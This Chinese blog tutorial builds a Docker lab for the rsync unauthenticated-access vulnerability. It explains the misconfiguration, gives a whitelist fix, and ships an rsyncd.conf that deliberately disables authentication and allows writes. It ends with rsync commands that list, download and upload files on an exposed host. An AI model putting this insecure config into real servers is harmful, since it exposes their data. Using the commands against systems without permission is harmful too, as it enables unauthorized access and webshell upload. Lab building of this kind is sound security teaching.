基于docker搭建Rsync未授权访问漏洞(附dockerfile)

Dockerfile: https://github.com/Hok1/Dockerfile

部署方法请自行浏览文件rsync.zip中README
——————————————————————原创,转载请标明出处

一.了解漏洞

1.什么是rsync

rsync是linux下系统数据备份工具。可以通过rsync的简单命令实现与远程开启rsync服务的主机实现同步更新。


2.rsync未授权访问漏洞是什么

在无目标主机的授权下得到目标主机的某目录的上传下载以及遍历权限。(上传下载遍历不一定同时存在,主要看运维人员配置失误情况)


二.分析漏洞原理,修复方案

具体漏洞产生原因,原理以及危害是什么?

首先第一个原因:
在公司内部运维人员防火墙配置不当,导致rsync服务映射到外网ip使外网可以访问。
第二:
rsyncd.conf误配,其中需要同步的目录下hosts allow,hosts deny,auth users,secrets file等有关安全的选项误配
hosts allow = 127.0.0.1 # 白名单,允许连接服务器的ip,多个使用空格隔开,如果注释掉该选项则所有ip均可访问
hosts deny = 127.0.0.1 # 黑名单,不允许连接服务器的ip
auth users = admin # 连接服务器时需要认证的用户名
secrets file = /etc/rsyncd.passwd # 认证相关配置,存放认证的用户名及密码
如果在内网中,以上选项全部注释掉都并无问题,甚至会方便,但是如果在第一个原因的条件下,后果是非常严重的,这就导致了攻击者可以通过rsync ip::等命令遍历目录,上传甚至下载目录中文件以至于信息泄露,在特定条件下甚至会让攻击者轻而易举上传webshell以及重写配置文件。


修复方案(最简便,并非最优)

修改rsyncd.conf配置文件,使用白名单策略,在所有需要同步目录下开启hosts allow,只允许指定ip访问。在公司内部如果需要同步某目录,去向管理改服务器的人员索要权限。


三.漏洞重现与利用(dockerfile)

1、Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
FROM fedora
MAINTAINER H0k

RUN yum -y install rsync

ADD rsync /etc/xinetd.d/rsync

ADD rsyncd.conf /etc/rsyncd.conf

ADD init.sh /root/init.sh # 配置漏洞环境脚本
RUN chmod 777 /root/init.sh
RUN /root/init.sh

EXPOSE 873

2、init.sh

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

#创建存放日志文件等的目录
mkdir /var/log/rsync
#创建需要备份的用户及用户组
useradd rsync -s /sbin/nologin -M
sleep 3
#创建rsync同步所需目录,也可以不用,但须要在rsyncd.conf中指定其他目录
mkdir /backup
sleep 3
#赋予权限
chown rsync.rsync /backup/

3、Rsync

1
2
3
4
5
6
7
8
9
10
service rsync
{
disable = no
socket_type = stream
wait = no
user = root
server = /usr/bin/rsync
server_args = --daemon
log_on_failure += USERID
}

4、rsync.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
id = rsync
gid = rsync
use chroot = no
max connections = 20
#port = 873 #不指定默认873端口
#运行进程的ID所在文件
pid file = /var/log/rsync/rsyncd.pid
lock file = /var/log/rsync/rsync.lock
#日志
log file = /var/log/rsync/rsync.log
motd file = /var/log/rsync/rsyncd.motd
#是否检查口令文件的权限
strict modes = no

#指定认证的备份模块名
[backup]
#需要备份的目录
path = /backup/
#忽略无关的io错误
ignore errors
#设置为非只读,即可以传至服务器的相应目录
read only = false
#允许列文件(允许查看同步文件列表)
list = true
#exclude = #设置不同步的文件或者目录,用逗号隔开

#允许连接服务器的ip,多个使用空格隔开(不设置即所有ip均可访问)
#hosts allow = 0.0.0.0
#hosts deny =
#认证用户名,无此行表示匿名
#auth users = admin
#认证文件名,用来存放密码
#secrets file =/etc/rsyncd.passwd

四、漏洞利用

在部署后docker后
通过

1
2
3
4
$rsync ip::     # 遍历可以同步的目录
$rsync ip::backup # 遍历backup目录下可以同步的文件
$rsync -avz ip::文件路径 本地路径 # 下载目录下文件
$rsync -avz 本地文件路径 ip::目标路径 # 上传文件